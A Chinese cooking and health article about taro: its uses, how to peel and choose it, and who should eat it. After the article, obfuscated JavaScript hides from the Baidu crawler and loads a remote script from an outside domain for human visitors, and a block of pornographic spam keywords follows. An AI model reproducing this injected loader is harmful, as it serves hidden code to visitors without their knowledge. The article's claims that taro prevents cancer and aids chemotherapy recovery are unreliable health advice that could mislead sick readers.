當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

芋頭怎么吃更好?吃芋頭有什么好處

2013-02-02 12:27:34  來源:360常識網  作者:廚房竅門     熱度:
導語:芋頭性平,味甘、辛,有小毒。能益脾胃,調中氣,化痰散結。可治少食乏力、痕瘍結核、久痢便血、癰毒等病癥。芋頭所含的礦物質中,氟的含量

芋頭性平,味甘、辛,有小毒。能益脾胃,調中氣,化痰散結。可治少食乏力、痕瘍結核、久痢便血、癰毒等病癥。芋頭所含的礦物質中,氟的含量較高,具有潔齒防齲、保護牙齒的作用。芋頭中含有多種微最元素,能增強人體的免疫功能,可作為防治癌瘤的常用藥膳主食。在癌癥手術或術后放療、化療及其康復的過程中,有較好的輔助作用。

芋頭怎么吃更好?吃芋頭有什么好處
芋頭怎么吃更好?吃芋頭有什么好處

芋頭的食用方法

1、芋頭含有難消化的淀粉質和草酸鈣結晶體,然而草酸鈣具有苦味且會使皮膚過敏,但經過烹煮后就會消失。在烹煮時果肉會變成灰色或淡紫色。芋頭的烹調方法類似馬鈴薯。芋頭經過燉煮后會使湯變得更濃,且芋頭容易吸收其它食材的湯汁。馬鈴薯及芋頭經過油炸或者用油煎成薄片再淋上醬汁都很美味也可切片和糖漿一起煮,就成了一道甜點。芋頭的葉子也可以拿來烹煮,煮起來像是菠菜而且可拿來包其它食物來烘烤。然而葉子中的草酸鈣經過烹煮后便會被破壞了。

2、芋頭去皮妙法:將帶皮的芋頭裝進小口袋里(只裝半袋)用手抓住袋口,將袋子在水泥地上摔幾下,再把芋頭倒出,便可以發現芋頭皮全脫下了。芋頭含有較多的淀粉,一次吃得過多會導致腹脹;

3、生芋有小毒,食時必須熟透;生芋汁易引起局部皮膚過敏,可用姜汁擦拭以解之。

芋頭的選購方法

選擇較結實的芋頭,且沒有斑點的。芋頭必須體型勻稱,拿起來重量輕,就表示水份少;切開來肉質細白的,就表示質地松,這就是上品。注意外型不要有爛點,否則切開一定有腐敗處。此外也可以觀察芋頭的切口,切口汁液如果呈現粉質,肉質香脆可口;如果呈現液態狀,肉質就沒有那么蓬松。

由于芋頭的黏液中含有皂甙,能刺激皮膚發癢,因此生剝芋頭皮時需小心。可以倒點醋在手中,搓一搓再削皮,芋頭就傷不到你了。不過如果手部有未愈的傷口,就不可以使用這個方法。削了皮的芋頭碰上水再接觸皮膚,就會更癢了,所以,芋頭不用先洗凈就去皮,并保持手部的干燥,可以減少癢的發生。如果不小心接觸皮膚發癢時,涂抹生姜,或在火上烘烤片刻,或浸泡醋水都可以止癢。

芋頭適宜人群

1、特別適合身體虛弱者食用。

2、對于有痰、敏性體質(蕁麻疹、濕疹、哮喘、過敏性鼻炎)者、小兒食滯、胃納欠佳、以及糖尿病患者應少食;同時食滯胃痛、腸胃濕熱者忌食。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
A级精品国产片在线观看| 久久精品国产亚洲AV果冻传媒| 久久国内精品自在自线软件| 成人精品一区二区电影| 国产精品美女久久久久| 国产精品青草久久| 久久久午夜精品理论片| 一级一级特黄女人精品毛片| 国产人成精品午夜在线观看| 99re这里只有精品6| 国产精品国产三级国快看| 久久国产热精品波多野结衣AV| 99精品久久精品一区二区| 久久频这里精品99香蕉久| 久久777国产线看观看精品| 国产精品国三级国产aⅴ| 亚洲伊人精品综合在合线| 伊人久久精品无码二区麻豆| 国产精品乱子乱XXXX| 精品少妇ay一区二区三区| 亚洲综合精品香蕉久久网 | 精品国产不卡一区二区三区| 国产精品成人国产乱| 精品亚洲成AV人在线观看| 久久久久国产成人精品亚洲午夜| 蜜臀91精品国产高清在线观看| 97久久精品一区二区三区| 精品日产一区二区三区手机| 亚洲精品第一国产综合精品99| 亚洲精品女同中文字幕| 97精品视频在线观看| 亚洲精品无码久久久久去q| 亚洲精品无码激情AV| 国产精品视频李雅| 中文精品一区二区三区四区| 亚洲精品**中文毛片| 国产AV国片精品| 亚洲国产另类久久久精品小说| 国产精品视频九九九| 一本久久伊人热热精品中文| 国产成人综合日韩精品婷婷九月|